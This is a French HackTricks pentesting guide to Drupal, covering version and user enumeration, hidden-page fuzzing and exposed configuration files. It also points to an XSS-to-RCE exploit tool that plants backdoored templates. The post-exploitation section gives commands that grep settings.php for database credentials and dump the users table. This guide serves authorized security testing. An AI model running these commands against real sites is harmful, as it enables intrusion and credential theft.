Drupal

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Découverte

  • Vérifiez meta
bash
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indexe son contenu en utilisant des nœuds. Un nœud peut contenir n'importe quoi comme un article de blog, un sondage, un article, etc. Les URI de page sont généralement de la forme /node/<nodeid>.
bash
curl drupal-site.com/node/1

Énumération

Version

  • Vérifiez /CHANGELOG.txt
bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

note

Les nouvelles installations de Drupal bloquent par défaut l'accès aux fichiers CHANGELOG.txt et README.txt.

Énumération des noms d'utilisateur

Drupal prend en charge trois types d'utilisateurs par défaut :

  1. Administrator : Cet utilisateur a un contrôle total sur le site web Drupal.
  2. Authenticated User : Ces utilisateurs peuvent se connecter au site web et effectuer des opérations telles que l'ajout et la modification d'articles en fonction de leurs autorisations.
  3. Anonymous : Tous les visiteurs du site web sont désignés comme anonymes. Par défaut, ces utilisateurs ne sont autorisés qu'à lire les publications.

Pour énumérer les utilisateurs, vous pouvez :

  • Obtenir le nombre d'utilisateurs : Il suffit d'accéder à /user/1, /user/2, /user/3... jusqu'à ce qu'une erreur indique que l'utilisateur n'existe pas.
  • Registre : Accédez à /user/register et essayez de créer un nom d'utilisateur ; si le nom est déjà pris, cela sera indiqué par une erreur du serveur.
  • Réinitialiser le mot de passe : Essayez de réinitialiser le mot de passe d'un utilisateur et si l'utilisateur n'existe pas, cela sera clairement indiqué dans un message d'erreur.

Pages cachées

Il suffit de trouver de nouvelles pages en regardant dans /node/FUZZFUZZ est un nombre (de 1 à 1000 par exemple).

Informations sur les modules installés

bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Outils Automatiques

bash
droopescan scan drupal -u http://drupal-site.local

RCE

Si vous avez accès à la console web de Drupal, vérifiez ces options pour obtenir RCE :

Drupal RCE

De XSS à RCE

  • Drupalwned : Script d'exploitation Drupal qui élève XSS à RCE ou d'autres vulnérabilités critiques. Pour plus d'infos, consultez ce post. Il fournit un support pour les versions de Drupal 7.X.X, 8.X.X, 9.X.X et 10.X.X, et permet de :
  • Escalade de privilèges : Crée un utilisateur administratif dans Drupal.
  • (RCE) Téléchargement de modèle : Télécharge des modèles personnalisés avec un backdoor pour Drupal.

Post Exploitation

Lire settings.php

bash
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Dump des utilisateurs de la DB

bash
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks